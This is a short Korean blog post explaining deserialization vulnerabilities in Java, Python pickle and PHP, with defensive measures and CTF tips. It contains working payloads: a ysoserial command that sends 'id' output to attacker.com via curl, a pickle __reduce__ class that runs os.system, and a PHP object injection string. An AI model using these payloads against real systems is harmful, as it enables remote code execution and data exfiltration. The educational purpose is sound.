본문으로 건너뛰기

Deserialization 취약점 — 객체 역직렬화로 RCE 터뜨리기

역직렬화란?

Serialization은 객체를 바이트 스트림(또는 JSON, XML 등)으로 변환하는 과정이고, Deserialization은 그 반대다. 문제는 신뢰할 수 없는 데이터를 역직렬화할 때 발생한다.

공격자가 직렬화된 데이터를 조작하면, 앱은 악의적인 객체를 복원하면서 RCE(Remote Code Execution) 또는 권한 상승까지 이어질 수 있다.

Java 역직렬화 취약점

Java의 ObjectInputStream.readObject()는 클래스패스에 있는 모든 클래스를 역직렬화할 수 있다. Apache Commons Collections 같은 라이브러리에 Gadget Chain이 존재하면 임의 코드 실행이 가능하다.

# ysoserial로 페이로드 생성
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(id)' | base64

이 페이로드를 쿠키나 HTTP 바디에 넣으면 끝.

Python Pickle

Python의 pickle.loads()는 사실상 코드 실행기다.

import pickle, os

class Exploit(object):
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))

payload = pickle.dumps(Exploit())

__reduce__ 매직 메서드가 역직렬화 시 자동 호출된다.

PHP Object Injection

PHP는 unserialize() 호출 시 __wakeup(), __destruct() 같은 매직 메서드를 자동 실행한다.

O:4:"User":1:{s:4:"name";s:6:"admin";}

클래스 프로퍼티를 조작해 파일 쓰기, 코드 실행 등의 Gadget Chain을 구성한다.

탐지 & 방어

  • ObjectInputStream을 커스텀 필터로 래핑 (ObjectInputFilter)
  • pickle 대신 json, msgpack 사용
  • 역직렬화 입력값에 HMAC 서명 적용
  • Gadget Inspector 같은 도구로 정적 분석

CTF에서 만나는 패턴

CTF 역직렬화 문제의 핵심은 Gadget Chain 발굴. 소스코드가 있으면 매직 메서드부터 추적하고, 없으면 ysoserial이나 phpggc 같은 자동화 도구를 활용한다.

역직렬화는 "신뢰하지 마라"가 정답이다.